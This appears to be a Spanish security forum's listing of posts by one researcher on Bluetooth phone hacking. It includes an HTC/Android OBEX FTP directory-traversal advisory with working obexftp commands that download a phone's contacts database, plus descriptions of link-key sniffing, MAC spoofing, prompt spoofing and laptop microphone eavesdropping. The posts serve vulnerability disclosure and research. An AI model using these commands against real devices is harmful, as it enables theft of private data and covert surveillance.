Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Gospel

#1
Aquí podéis encontrar el informe completo de la vulnerabilidad.

Title: HTC / Android OBEX FTP Service Directory Traversal

Author: Alberto Moreno Tablado

Vendor: HTC
Vulnerable  Products:

- HTC devices running Android 2.1

- HTC devices running Android 2.2

Summary

HTC devices running Android 2.1 and Android 2.2 are prone to a directory traversal vulnerability in the Bluetooth OBEX FTP Service. Exploiting this issue allows a remote authenticated attacker to list arbitrary directories, and read arbitrary files, via a ../ in a pathname.

Description

In the present HTC / Android phones include a Bluetooth stack, which provides Bluetooth communications with other remote devices. The File Transfer Profile (OBEX FTP) is one among all the Bluetooth services that may be implemented in the stack.

The OBEX FTP service is a software implementation of the File Transfer Profile (FTP). The File Transfer Profile (FTP) is intended for data exchange and it is based on the OBEX communications client-server protocol. The service is present in a large number of Bluetooth mobile phones. This service can be used for sending files from the phone to other remote devices and also allows remote devices to browse shared folders and download files from the phone.

In HTC / Android phones, the default directory of the OBEX FTP Server is the SDCard. Only files placed in the directory of the SDCard can be shared. The user cannot select other directory so sensitive files related to the operating system are not exposed.

There exists a Directory Traversal vulnerability in the OBEX FTP Service in the Bluetooth Stack implemented in HTC devices running Android 2.1 and Android 2.2. The OBEX FTP Server is a 3rd party driver developed by HTC and installed on HTC devices running Android operating system, so the vulnerability affects to this vendor specifically.

A remote attacker (who previously owned authentication and authorization rights) can use tools like ObexFTP or gnomevfs-ls over Linux to traverse to parent directories out of the default Bluetooth shared folder by using ../ or ..\\ marks.

The only requirement is that the attacker must have authentication and authorization privileges over Bluetooth. Pairing up with the remote device should be enough to get it. However, more sophisticated attacks, such as sniffing the Bluetooth pairing, linkkey cracking and MAC address spoofing, can be used in order to avoid this. In case the attacker succeeded in getting the proper privileges, further actions will be transparent to the user.

Scope of the attack

The Directory Traversal vulnerability allows a remote attacker to browse folders located anywhere in the file system and download any file contained in any folder.

1) List arbitrary directories

Any directory within the file system of the phone can be browsed, beyond the limits of the default shared folder (the SDCard).

The following example is the output of a command for listing a directory with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the path ../, the command retrieves the content of the parent of the default directory of the FTP server, this is the root directory of the disk file system:

gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -l "../"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 29ms
Receiving "../"... Sending ".."...|done
/<?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
  <parent-folder/>
  <folder name="sqlite_stmt_journals"/>
  <folder name="config"/>
  <folder name="sdcard"/>
  <folder name="d"/>
  <folder name="etc"/>
  <folder name="cache"/>
  <folder name="system"/>
  <folder name="sys"/>
  <folder name="sbin"/>
  <folder name="proc"/>
  <file name="logo.rle" size="11336" user-perm="R" created="19700101T090000Z"/>
  <file name="init.rc" size="14664" user-perm="R" created="19700101T090000Z"/>
  <file name="init.goldfish.rc" size="1677" user-perm="R" created="19700101T090000Z"/>
  <file name="init.buzz.rc" size="3608" user-perm="R" created="19700101T090000Z"/>
  <file name="init" size="107668" user-perm="R" created="19700101T090000Z"/>
  <file name="default.prop" size="118" user-perm="R" created="19700101T090000Z"/>
  <folder name="data"/>
  <folder name="root"/>
  <folder name="dev"/>
</folder-listing>done
Disconnecting..-done


2) Read arbitrary files

Any file located in the file system can be downloaded. This may lead to access confidential data such as contacts, messages, emails or temporary internet files.

- Emails from Google account downloaded via GMAIL application, located in /data/data/com.google.android.providers.gmail/databases/mailstore.*****@gmail.com.db
- Contacts database, located in /data/data/com.android.providers.contacts/databases/contacts2.db.

The following example is the output of a command for downloading a file with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the pathname ../data/data/com.android.providers.contacts/databases/contacts2.db, the command retrieves the contacts database:


gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -g "../data/data/com.android.providers.contacts/databases/contacts2.db"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 50ms
Receiving "../data/data/com.android.providers.contacts/databases/contacts2.db"... Sending ".."...|Sending "data".../Sending "data"...-Sending "com.android.providers.contacts"...\Sending "databases"...|done
/done
Disconnecting..-done


Once the database is downloaded, contacts can be queried with SQL:

gospel@ubuntu:~$ ./sqlite3 contacts2.db "SELECT data.data1 from data INNER JOIN raw_contacts ON data.raw_contact_id = raw_contacts._id WHERE raw_contacts.account_type='com.htc.android.pcsc'"
08012341234
Philip J. Fry
pjfry@planex.com
...


Also contacts synced from Google and Facebook accounts can be queried from the same database:

gospel@ubuntu:~$ ./sqlite3 contacts2.db "SELECT data.data1 from data INNER JOIN raw_contacts ON data.raw_contact_id = raw_contacts._id WHERE raw_contacts.account_type='com.htc.socialnetwork.facebook'"
*********
Aitana *******
Aitana *******
********@gmail.com
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs712.ash1/******_*********
*_*******_*.jpg
...


Affected products

- HTC devices running Android 2.1
- HTC devices running Android 2.2

The following products were tested and showed to be vulnerable: HTC Wildfire A3333, Softbank 001HT (HTC Desire HD), EMobile S31HT (HTC Aria).

Vendor status

This vulnerability is related to CVE-2009-0244, a vulnerability announced in 2009 affecting HTC devices running Windows Mobile 6 and Windows Mobile 6.1 and reported to HTC Europe. After the vulnerability was disclosed, HTC issued security hotfixes under the name <span style="font-style:italic;">Hotfix to enhance the security mechanism of Bluetooth service</span> for all the affected products. HTC reproduced the same security flaw in Android phones shipped throughout 2010 and 2011.

The current advisory was reported to HTC Japan in 2011/02. Subsequently, it was reported to HTC Europe in 2011/04 in order to obtain more feedback and re-attempt the collaboration. In both cases I failed to coordinate the disclosure of the advisory and release of the hotfix so finally I am forced to go public with all the information undisclosed.

The vulnerability is published as a zero-day threat. This means that all HTC devices running Android 2.1 and Android 2.2 shipped up to date July 2011 may be vulnerable and a security hotfix has not been issued by the manufacturer yet.

Users of HTC Android phones may expect to receive a notification for security update over-the-air regarding to this vulnerability, or find the latest updates in the support site.

Do not accept pairing nor connection requests from unknown sources. Delete old entries in the paired devices list.

HTC Wildfire, HTC Desire HD and HTC Aria are trademarks of HTC Corporation (HTC). Softbank 001HT is a trademark of SOFTBANK Corp. EMobile S31HT is a trademark of EMOBILE Ltd.
#2
http://seguridadmobile.blogspot.com/2007/08/avances-en-sniffing-bluetooth.html

Esta semana se han producido dos grandes avances en relación con la capacidad para sniffar comunicaciones Bluetooth.

Recordemos que sniffar comunicaciones Bluetooth es un tema bastante complicado debido a que:

1) La técnica de salto de frecuencias impide a cualquier dispositivo que no forme parte de la piconet (que no esté emparejado con el maestro) escuchar las comunicaciones, ya que no tiene acceso a la tabla de saltos utilizada para la transmisión de paquetes.

2) Los adaptadores USB Bluetooth convencionales no se pueden poner en modo promiscuo (como las tarjetas Ethernet o Wi-Fi). Hasta el momento, existían adaptadores con capacidad para ponerse en modo promiscuo, sniffers, pero su precio rondaba los 1000$ en el mercado extranjero.

Durante el pasado evento 23C3, Thierry Zoller publicó la herramienta BTCrack para Windows. BTCrack es un programa que permite crackear el PIN y la clave de enlace compartidos por dos dispositivos a partir de las tramas capturadas durante el emparejamiento de ambos. El software existía, lo dificil y caro era conseguir el hardware que sniffara esas tramas. En aquel momento, Zoller hizo un llamamiento para encontrar una técnica que permitiera construir un sniffer Bluetooth de bajo coste.

Max Moser acudió al llamamiento y publicó un paper en el que desmontaba el mito de que conseguir un sniffer Bluetooth sólo era posible adquiriendo carísimos productos propietarios. Realizando ingeniería inversa del producto FTS4BT fue capaz de flashear un adaptador USB Bluetooth convencional con el firmware del sniffer comercial. La aplicación reconocía el hardware como parte del paquete comercial y permitía sniffar.

El procedimiento de construir un sniffer Bluetooth a partir de un adaptador USB Bluetooth convencial podía desarrollarse en Linux, pero para enviar comandos al hardware y sniffar con él hacía falta el producto comercial para Windows.

Pues bien, la primera noticia es la publicación de una herramienta que permite enviar comandos al adaptador hardware y utilizarlo para sniffar. El nombre de esta herramienta es BTSniff y está disponible para Linux. El autor es Andrea (aka sorbo) @ http://darkircop.org/.

BTSniff consta de dos partes:

- Ensamblador para construir tu propio firmware
- Frontline para envío de comandos: sincronizar con el maestro, sniffar tramas, ...

En principio, BTSniff sólo funciona con adaptadores USB Bluetooth con chipset CSR que han sido flasheados con el firmware del sniffer comercial.

La otra noticia es que BTCrack ya dispone de versión para Linux, aunque aún no se ha hecho pública. Supongo que con la publicación de BTSniff, Zoller no hubiera tardado en hacer pública también esa versión y rematar la exclusiva en seguridad Bluetooth, si no fuera por la reciente ley §202C StGB que acaba de aprobarse en Alemania y que prohibe la distribución de herramientas que pueden ser utilizadas con fines de hacking.

Gracias a estos dos avances, el sniffing de comunicaciones Bluetooth está más cerca de ser una realidad (no un simple PoC) y estar al alcance de cualquiera. (Aunque, ¿eso es bueno?). En cualquier caso, la nueva especificación 2.1 de Bluetooth que acaba de ser publicada por el SIG introduce algunas mejoras en seguridad supuestamente dirigidas a evitar el sniffing de las comunicaciones Bluetooth. No obstante, de aquí a que la especificación 2.1 domine el mercado de los teléfonos móviles aún quedan años de diversión :)

¿Y para qué sirve todo esto? Diréis lo no iniciados en seguridad Bluetooth...

Os cuento: Gracias a BTSniff, un atacante podrá sincronizarse con el maestro de una piconet y sniffar las tramas transmitidas durante una comunicación Bluetooth con otro dispositivo. Lo interesante sería llevarlo a cabo durante el emparejamiento de dos dispositivos Bluetooth. Capturando estas tramas, el atacante tendría acceso a las keys generadas en el proceso de emparejamiento y podría obtener la clave de enlace Bluetooth a partir de las mismas con ayuda de BTCrack. Con la clave de enlace en su poder, el dispositivo atacante podría acceder de forma transparente a cualquiera de los dos dispositivos suplantando la BD_ADDR del otro dispositivo y utilizando la clave de enlace crackeada. El acceso transparente implica poder conectarse a cualquier perfil del dispositivo objetivo saltándose los mecanismos de seguridad de Bluetooth de autenticación y autorización, tal y como se explica en el ataque BD_ADDR Spoofing. Las posibilidades: muy "interesantes"... como el acceso a los comandos AT (realizar llamadas de teléfono, gestión de la agenda de contactos, gestión de mensajes SMS, ...) o el acceso al servicio OBEX para el robo de archivos del teléfono móvil.

Ya era hora de que apareciese alguna novedad en el mundo de la seguridad Bluetooth, después de que la cosa haya estado parada durante un año. ¡Buenas noticias!

Actualización... dicho y hecho.

http://seguridadmobile.blogspot.com/2008/11/construyendo-tu-propio-sniffer.html

http://seguridadmobile.blogspot.com/2008/11/sniffando-el-emparejamiento-bluetooth.html
#7
Revisión del ataque Blue MAC Spoofing - ¿Todavía piensas que Bluetooth es seguro?

La mayoría de usuarios de teléfonos móviles Bluetooth ha tenido la necesidad alguna vez de emparejar su teléfono con otro dispositivo con el fin de transferir archivos vía Bluetooth o conectarse a equipos manos libres o receptores GPS. Es un hecho que la conducta habitual suele ser mantener esos enlaces activos aun cuando estos se encuentren en desuso o la conexión haya sido esporádica. ¿Qué ocurriría si cada uno de esos enlaces activos pudiera convertirse en una puerta trasera a nuestro teléfono, con acceso transparente al control total de las funciones del teléfono y los archivos almacenados? En efecto, dado que todos los mecanismos de seguridad empleados por Bluetooth se realizan a nivel de dispositivo, y no de usuario, suplantar la identidad de un dispositivo emparejado y utilizar sus credenciales de confianza para acceder a un teléfono sin que el usuario se percate resulta una acción trivial. En esto consiste el ataque Blue MAC Spoofing.

Acabo de publicar un artículo sobre el ataque Blue MAC Spoofing. No hay casi nada documentado sobre este ataque en la red y es importante darlo a conocer ya que, a mi juicio, se trata de uno de los ataques más peligrosos en materia de seguridad Bluetooth.
- Todos los dispositivos Bluetooth son vulnerables a este ataque, al tratarse de una vulnerabilidad intrínseca al estándar y no debida a una incorrecta implementación del fabricante, como en los ataques a teléfonos móviles anteriormente descubiertos.
- Suplantar la dirección MAC de un dispositivo Bluetooth en Linux es trivial, con bdaddr.
- Consecuencia del robo de claves de enlace: If your box gets owned, your phone may, too.
- Elevado impacto para el usuario atacado: Acceso a comandos AT y al sistema de archivos del teléfono.

http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/Files/Revision.del.Ataque.Blue.MAC.Spoofing_todavia.piensas.que.Bluetooth.es.seguro.pdf
#8
Conferencia Seguridad Mobile: Amenazas en teléfonos móviles y Smartphones, por Alberto Moreno

http://gospel.endorasoft.es/eventos/alcolea07/Alcolea07_SeguridadMobile.pdf
#9
Artículo MOTOHCKR: Hacking Bluetooth en teléfonos móviles Motorola de última generación
Fuente: http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/Files/MOTOHCKR_Hacking.Bluetooth.en.telefonos.moviles.Motorola.pdf
Mirror: http://www.telefonica.net/web2/telamarinera/docus/MOTOHCKR_Hacking.Bluetooth.en.telefonos.moviles.Motorola.pdf

Video MOTOHCKR: PEBL own3d
http://youtube.com/watch?v=4bnE5_esbOU

CitarINTRODUCCIÓN

Los teléfonos móviles Motorola son conocidos en todo el mundo por su elevada sofisticación y atractivo diseño. Desde el lanzamiento del Motorola RAZR V3 en 2005, la compañía se ha mantenido a la vanguardia en la fabricación de teléfonos móviles para gran consumo, comercializando modelos de excelente calidad en rendimiento y usabilidad y con un diseño revolucionario caracterizado por la delgadez y elegancia de sus formas.

Todos los teléfonos móviles Motorola de última generación incorporan tecnología Bluetooth para el intercambio de archivos con otros teléfonos y el uso de equipos manos libres. Así mismo, estos modelos incorporan ciertas medidas de seguridad básicas que facilitan la protección de los usuarios frente a ataques Bluetooth. Algunas de estas medidas son mantener por defecto la visibilidad del dispositivo en modo oculto, para evitar que este sea descubierto por otros equipos; implantar un temporizador de 60 segundos que evite mantener Bluetooth activado mientras el usuario no esté haciendo uso de esta funcionalidad o denegar automáticamente conexiones provenientes de equipos desconocidos.

Sin embargo, a pesar de incorporar estas medidas de seguridad básicas, se han encontrado ciertas vulnerabilidades en el interfaz Bluetooth de los teléfonos móviles Motorola de última generación que permitirían a un atacante comprometer la seguridad de estos dispositivos y la privacidad del usuario.

Todos los modelos vulnerables a este tipo de ataques siguen siendo comercializados hoy en día; algunos de ellos incluso gozan de gran popularidad.

Es materia de este documento dar a conocer estas vulnerabilidades y concienciar a los usuarios de teléfonos móviles Motorola de lo importante que resulta utilizar la funcionalidad de Bluetooth de forma segura.
#10
Hola!

El pasado 14 de Octubre, con ocasión del encuentro Hackmeeting06, Hackiluro, en Mataró, Barcelona, tuve la oportunidad de ofrecer una charla sobre Seguridad en Bluetooth titulada "Bluetooth Hacking: Seguridad en teléfonos móviles Bluetooth".



Durante la charla se habló de especificación Bluetooth, identificación de dispositivos, vulnerabilidades en teléfonos móviles y se hicieron demos en vivo de ataques a teléfonos reales.

Agradezco a todos los asistentes su participación, en especial a la gente de elhacker: Brujo, MadAntrax, Ertai y Anelkaos.

Podéis acceder al material de la charla en los siguientes links:

Briefing - Informe de contenidos:
http://sindominio.net/hackmeeting/index.php/2006/nodos/BluetoothHacking

Diapositivas:
http://www.mediamax.com/ANELKAOS/Hosted/BlueTooth/Hackmeeting06_BluetoothHacking.pdf
http://gospel.endorasoft.es/eventos/hackmeeting06/Hackmeeting06_BluetoothHacking.pdf

Audio de la charla:
http://gospel.endorasoft.es/eventos/hackmeeting06/hacking_bluetooth.ogg

Video demo en acción:
http://youtube.com/watch?v=F4f4P2LqJUI

Saludos
#11
BlueZSpammer: Marketing de proximidad con un HotSpot Bluetooth casero

La página web oficial de la herramienta es: http://gospel.endorasoft.es/bluetooth/especificacion-bluetooth/bluez/bluezspammer.html

Video Demo de BlueZScanner: http://youtube.com/watch?v=CVlxplbgxeM



Marketing de Proximidad basado en Bluetooth

Se denomina Marketing de Proximidad basado en Bluetooth al envío de contenidos de información y publicidad a teléfonos móviles Bluetooth como estrategia de promoción por parte de algunas marcas corporativas.

Algunas compañías han desarrollado campañas de publicidad en las calles basadas en el envío masivo de publicidad directa al teléfono móvil a través de Bluetooth. Emplean dispositivos emisores colocados en puntos estratégicos de elevado tránsito de personas capaces de enviar en un rango de 100 metros paquetes de publicidad personalizados que se adecuan al modelo de teléfono móvil que recibe la información.

Muchas instituciones, tales como ayuntamientos, han comprobado el éxito de este tipo de estrategias y han instalado sistemas de envío de información en puntos de interés general, como zonas turísticas, aeropuertos e intercambiadores de transporte público, edificios históricos y museos.




¿Cómo funciona el Marketing de Proximidad?

El Marketing de Proximidad basado en Bluetooth hace uso fundamentalmente del Perfil de Carga de Objetos (OBEX Object Push) disponible en la mayoría de teléfonos móviles y smart phones. Por lo general, el acceso a este Perfil requiere autorizaciónpero no autenticación. Esto significa que no es necesario que los dispositivos se encuentren emparejados, simplemente basta que el usuario del dispositivo destino autorice el envío de archivos del dispositivo origen.

El funcionamiento de un HotSpot Bluetooth capaz de enviar spam es bastante sencillo. Su tarea es descubrir otros dispositivos Bluetooth activos en su radio de cobertura y proceder al envío de objetos de información con conexiones a través del Perfil de Carga de Objetos (OBEX Object Push).

Los objetos de información enviados por el HotSpot Bluetooth pueden ser de diversa naturaleza y adaptables en función del modelo de teléfono móvil que vaya a recibir el archivo. Así, el objeto a enviar puede tratarse de un archivo de texto, una imagen, un archivo de audio, un video o incluso un paquete instalable con contenidos de publicidad, como un tema para el interfaz o un salvapantallas. El nivel de sofisticación del HotSpot para personalizar contenidos al teléfono móvil destino dependerá de su capacidad para identificar el modelo de dispositivo y conocer los tipos de archivos soportados por su sistema operativo.


BlueZSpammer, el HotSpot Bluetooth basado en BlueZ

BlueZSpammer es un sencillo HotSpot capaz de enviar archivos a teléfonos móviles y smart phones Bluetooth con soporte para el Perfil de Carga de Objetos (OBEX Object Push). Utiliza la pila de protocolos BlueZ para Linux y está desarrollado en lenguaje C.




Requisitos para funcionar:
- PC + módulo Bluetooth
- Linux
- BlueZ
- OpenObex

Implementa las siguientes funciones:
- Detección de dispositivos Bluetooth cercanos.
- Filtro de teléfonos móviles y smart phones.
- Modo Demo, solo descubre dispositivos susceptibles de recibir spam.
- Filtro de códigos MAC de fabricantes de chips Bluetooth, para enfocar el público de dispositivos destino. (Opcional)
- Envío de archivos a través del Perfil de Carga de Objetos (OBEX Object Push) con ayuda de ObexPush.

El código fuente de BlueZSpammer se distribuye libremente bajo licencia GNU.
Se necesita tener instalados los paquetes de librerías bluez-libs-devel, openobex y openobex-apps (dependientes de cada distribución Linux).

BlueZSpammer es una herramienta desarrollada con fines científicos y educacionales. No debe ser utilizada como herramienta de spam en lugares públicos con fines comerciales o de fastidio para otras personas.
El autor no tiene ninguna responsabilidad sobre el uso que pueda darse a esta herramienta.

Herramienta: BlueZSpammer







#12
El grupo Bluehack dedicado al estudio de la Seguridad en Bluetooth y a la publicación de documentación en castellano vuelve a estar operativo.



Por ahora, la web de Bluehack ofrece un repositorio de herramientas y documentos relacionados con la Seguridad en Bluetooth publicados por diversos autores, entre los que destacan algunos de origen hispano.

En el futuro, Bluehack servirá como plataforma de lanzamiento de proyectos realizados conjuntamente por miembros del Bluehack Team.


Participa en Bluehack!

Bluehack quiere motivar a los aficionados a la seguridad en Bluetooth a publicar material, ya sea documentación en castellano o aplicaciones para ataques de prueba de concepto, y notificarnos acerca de su trabajo para que la información pueda ser difundida libremente.

Así mismo, buscamos expertos en Seguridad en Bluetooth para entrar a formar parte del Bluehack Team. ¿Te animas?


La web oficial del grupo Bluehack es http://bluehack.endorasoft.es

El grupo Bluehack también dispone de un portal con abundante información sobre la especificación del estándar Bluetooth y aspectos relacionados con la seguridad: http://bluehack.elhacker.net

Saludos
#13
El advisory de la vulnerabilidad original se encuentra en http://www.digitalmunition.com/DMA[2006-0321a].txt
El ataque descrito por Kevin Finisterre se realiza contra un Motorola PEBL U6.

La documentación del ataque con capturas del test llevado a cabo con un Motorola RAZR V3 se encuentra en http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/blueline.html


Ataque Blueline





El objetivo del ataque Blueline es la conexión al Perfil de Pasarela de Voz (Voice Gateway Profile) con el fin de ejecutar comandos AT en el terminal. El Perfil de Pasarela de Voz, accesible a través del canal 3, es un perfil que requiere autorización, aunque no autenticación.




Los nuevos modelos de Motorola, como PEBL U6 y RAZR V3, deniegan automáticamente (sin intervención explícita del usuario) un intento de conexión proveniente de cualquier dispositivo Bluetooth no conocido (que no aparece en el histórico de dispositivos conectados anteriormente).




Con el fin de evitar este problema, el ataque Blueline implementa una variación del ataque HeloMoto.

La vulnerabilidad que explota HeloMoto se basa una implementación incorrecta de la gestión de la lista de dispositivos de confianza en algunos teléfonos móviles Motorola antiguos. El ataque HeloMoto se lleva a cabo enviando una tarjeta de visita o vCard a través del Perfil de Carga de Objetos (OBEX Object Push). De forma automática y sin necesidad de interacción por parte del usuario propietario del teléfono móvil, el dispositivo atacante es añadido a la lista de dispositivos de confianza del terminal, aunque el proceso de envío haya sido interrumpido por el atacante antes de llegar a su fin. El atacante obtiene así privilegios para conectarse a servicios que requieran autorización, aunque no autenticación.

Sin embargo, la funcionalidad del ataque HeloMoto en los modelos de Motorola PEBL U6 y RAZR V3 varía respecto a los modelos antiguos, ya que estos nuevos no son vulnerables al ataque HeloMoto en sí. Llevando a cabo un ataque HeloMoto, el dispositivo atacante no es añadido automáticamente a la lista de dispositivos de confianza del teléfono móvil, pero sí que es añadido al histórico de dispositivos conectados anteriormente, suficiente para que cualquier intento de conexión posterior no sea denegado automáticamente por el teléfono móvil.




De este modo y en adelante, las conexiones entrantes al teléfono móvil desde el dispositivo atacante serán notificadas al usuario para que confirme explícitamente su autorización. No obstante, la notificación informará al usuario del nombre del dispositivo origen y es bastante probable que el usuario deniegue tal conexión si el nombre del dispositivo resulta sospechoso o simplemente por conducta preventiva.




La cuestión reside en persuadir al usuario del teléfono móvil para que confirme la autorización de conexión al perfil.

La originalidad del ataque Blueline consiste en provocar una falsificación o spoofing del interfaz sustituyendo el mensaje original de la ventana de notificación de conexión entrante por cualquier texto deseado con sólo modificar el nombre del dispositivo atacante por una cadena de caracteres maliciosa. Esta cadena de caracteres puede contener caracteres 0x0d para el salto de línea.




De esta forma, el mensaje de notificación malicioso podría engañar a cualquier usuario de teléfono móvil y forzarle a que aceptara la conexión, en cuyo caso, el dispositivo atacante quedaría autorizado en el teléfono móvil comprometido.






En caso de que el usuario atacado sea engañado y confíe en el aviso mostrado por pantalla, el dispositivo atacante dispondrá de autorización para acceder al Perfil de Pasarela de Voz y ejecutar comandos AT en el terminal comprometido.



En este caso, la consola de envío de comandos AT no disponía de eco local y se han enviado los comandos AT ciegamente.
En la imagen, se han añadido los comandos AT utilizados para mejor comprensión.

Agradecimientos a ANELKAOS por la ayuda para llevar a cabo el test del ataque Blueline.
#14
Hacking Mobile / Bluetooth en hwagm.elhacker
14 Julio 2006, 01:08 AM
El amigo Hwagm ha creado una sección de Bluetooth dentro de su página sobre In/Seguridad en Wifi.

http://hwagm.elhacker.net/htm/bluetooth.htm#diente-azul

Me parece lógico q abriera esta nueva sección ya q Bluetooth tb es una tecnología Wireless, aunq aplicada a redes PAN.

No para el tío... ahora extiende su mano para informar sobre seguridad en otros estándares Wireless aparte de WiFi.
#15
BlueZScanner: Escaner de dispositivos Bluetooth basado en BlueZ



BlueZScanner es un sencillo escaner de dispositivos Bluetooth basado en BlueZ. Implementa las siguientes funciones:
      - Descubrimiento de dispositivos Bluetooth cercanos.
      - Resolución del nombre del dispositivo descubierto.
      - Fabricante del chip Bluetooth incorporado en el dispositivo.
      - Análisis del campo Device Class, que identifica la naturaleza del dispositivo descubierto.
      - Análisis de los campos Service Classes, que identifican los servicios ofrecidos por el dispositivo. [Opcional]
      - Detección de Perfiles Bluetooth disponibles en el dispositivo. [Opcional]

El código fuente de BlueZScanner se distribuye libremente bajo licencia GNU. Se necesita tener los paquetes BLUEZ instalados.

La página oficial de la herramienta es http://gospel.endorasoft.es/bluetooth/especificacion-bluetooth/bluez/bluezscanner.html

Herramienta: BlueZScanner


CAPTURAS DE BLUEZSCANNER EN ACCIÓN

# ./bluezscanner -h muestra la ayuda:




# ./bluezscanner detecta dispositivos Bluetooth cercanos y muestra la dirección MAC, el nombre del dispositivo, el fabricante del chip Bluetooth que incorpora y el tipo de dispositivo del que se trata:




# ./bluezscanner -c muestra el informe completo de las Service/Device classes para cada dispositivo detectado:




# ./bluezscanner -p muestra los Perfiles Bluetooth disponibles en cada dispositivo detectado:




# ./bluezscanner -cp muestra ambos informes, el de Service/Device classes y el de Perfiles Bluetooth:





REFERENCIAS

(1) http://www.bluez.org/
(2) http://people.csail.mit.edu/albert/bluez-intro/
(3) https://www.bluetooth.org/foundry/assignnumb/document/baseband
(4) http://www.chaostal.de/cgi-bin/parser.cgi?input=article/bluetooth

Agradecimientos a Sir Graham por la ayuda prestada y el cursillo acelerado de máscaras de bits (Un día de estos lo implemento de una vez...  :)  )
#16
Hacking Mobile / Laptop Audio Hijacking
20 Marzo 2006, 21:02 PM
Página oficial del proyecto: http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/laptop-audio-hijacking.html


INTRODUCCIÓN



La esencia de la vulnerabilidad se encuentra en la posibilidad de conectarse remotamente a un dispositivo Bluetooth y utilizar el perfil Auriculares / Pasarela de Audio sin necesidad de autentificación.

Un ataque con éxito al perfil Auriculares / Pasarela de Audio permitiría a un atacante llevar a cabo las siguientes acciones:
   - Capturar el audio recogido por el micrófono del dispositivo.
   - Inyectar audio que sería reproducido por los altavoces del dispositivo.

Estas acciones, pueden ser utilizadas de forma maliciosa para:
   - Escucha de conversaciones privadas e invasión de la intimidad y privacidad de los usuarios de un dispositivo Bluetooth.
   - Proyección de mensajes de voz por los altavoces de un  dispositivo Bluetooth, para sorpresa de personas cercanas al mismo.


METODOLOGÍA DE UN ATAQUE Laptop Audio Hijacking

Las víctimas potenciales de un ataque Laptop Audio Hijacking son todos aquellos usuarios de PC con Windows XP que dispongan de un dispositivo Bluetooth (ya sea incorporado en el Hardware o conectado por USB) soportado por la pila de protocolos Widcomm.



En el caso de usuarios con ordenador portátil (Laptop), el caso es especialmente grave porque estos equipos suelen incorporar micrófonos que permitirían recoger audio de conversaciones próximas. Si un atacante consiguiera comprometer el perfil Auriculares / Pasarela de Audio, tendría acceso al control del micrófono y podría grabar conversaciones privadas.
Si el equipo comprometido no incluyera micrófono, el atacante sólo podría limitarse a inyectar audio que sería proyectado por los altavoces del PC.

La vulnerabilidad que permite llevar a cabo este ataque reside en la posibilidad de que un atacante remoto pueda conectarse al perfil Auriculares / Pasarela de Audio sin necesidad de autentificación porque la configuración por defecto de la pila de protocolos Widcomm así lo establece.



La consecución con éxito de un ataque Laptop Audio Hijacking permitiría a un atacante remoto llevar a cabo las siguientes acciones:

- Capturar el audio recogido por el micrófono del Laptop y escuchar conversaciones privadas.



- Inyectar audio y mensajes de voz que serían reproducidos por los altavoces del PC, para sorpresa de personas cercanas al mismo.




DESCRIPCIÓN DEL ATAQUE Laptop Audio Hijacking

1) ESCANEO Y BÚSQUEDA DE UN PC CON BLUETOOTH

En nuestro caso, el PC atacante dispone de un dispositivo Bluetooth USB soportado por la pila de protocolos de Toshiba, por lo que utilizaremos el gestor de conexiones Bluetooth de Toshiba en lugar del gestor de Windows (Mis Sitios Bluetooth). A efectos prácticos, el ataque se desarrolla de igual modo.

Iniciamos el gestor de conexiones Bluetooth y buscamos un dispositivo Bluetooth PC.

 

Accedemos al listado de Perfiles / Servicios Bluetooth ofrecidos por el PC y creamos un acceso directo al perfil Auriculares.

 
       

2) CONEXIÓN AL PERFIL DE AURICULARES

 

Aunque no se aprecie en las capturas, el gestor de conexiones Bluetooth no solicita al atacante introducir ningún código PIN para realizar el emparejamiento de dispositivos, ya que como se ha visto, el Perfil Auriculares está configurado por defecto para no solicitar autentificación. Una vez que la conexión se ha llevado a cabo con éxito, la única notificación que recibe el usuario del Laptop comprometido es un aviso en el tray icon de Bluetooth, el cual cambia a color 'verde'.
La configuración por defecto tampoco establece que una conexión entrante sea notificada al usuario mediante un aviso visual o sonoro.
Esto significa que mientras el ataque se lleva a cabo, es muy improbable que el usuario víctima perciba lo que realmente está ocurriendo.


3) CAPTURA E INYECCIÓN DE AUDIO EN LAPTOP

A partir de este momento, el atacante estará en disposición de:
   
- Inyectar audio que será reproducido por los altavoces del PC comprometido.

 



- Capturar el audio recogido por el micrófono del Laptop y grabarlo en disco.

 



Para poder grabar en disco el audio capturado desde el interfaz Bluetooth podemos hacer uso de la utilidad sndrec32.exe de Windows.



LINKS RELACIONADOS

El proyecto Car Whisperer de Trifinite:
http://trifinite.org/trifinite_stuff_carwhisperer.html

'Widcomm BTW - Bluetooth for Windows Remote Audio Eavesdropping', a paper by Kevin Finisterre:
.txt]http://www.digitalmunition.com/DMA[2005-1214a].txt
#17
INTRODUCING NEW POCKET CAR WHISPERER ATTACK

Página oficial del proyecto: http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/car-whisperer.html#PocketCarWhisperer

PRÓLOGO

El ataque Pocket Car Whisperer es una implementación del ataque Car Whisperer utilizando como plataforma de ataque un equipo PDA Pocket PC.

El objetivo de este proyecto es sensibilizar a los fabricantes de dispositivos Manos Libres Bluetooth para automóvil acerca de la amenaza para la seguridad que supone incorporar claves PIN por defecto como medio para emparejarse con estos dispositivos.

La primera vez que dos dispositivos Bluetooth intentan comunicarse, se utiliza un procedimiento de inicialización denominado emparejamiento para crear una clave de enlace común de forma segura. Esta clave de enlace se genera a partir de una clave de seguridad Bluetooth (clave PIN), que es requerida a cada dispositivo y que debe ser la misma para los dos.
Posteriormente, cuando los mismos dispositivos se comuniquen por Bluetooth, utilizarán la clave de enlace para funciones de autenticación y cifrado.

El hecho de incorporar una clave PIN por defecto en un dispositivo Bluetooth significa que cualquier usuario con conocimiento de esa clave estándar puede emparejarse con el dispositivo y comunicarse con él de forma autorizada.
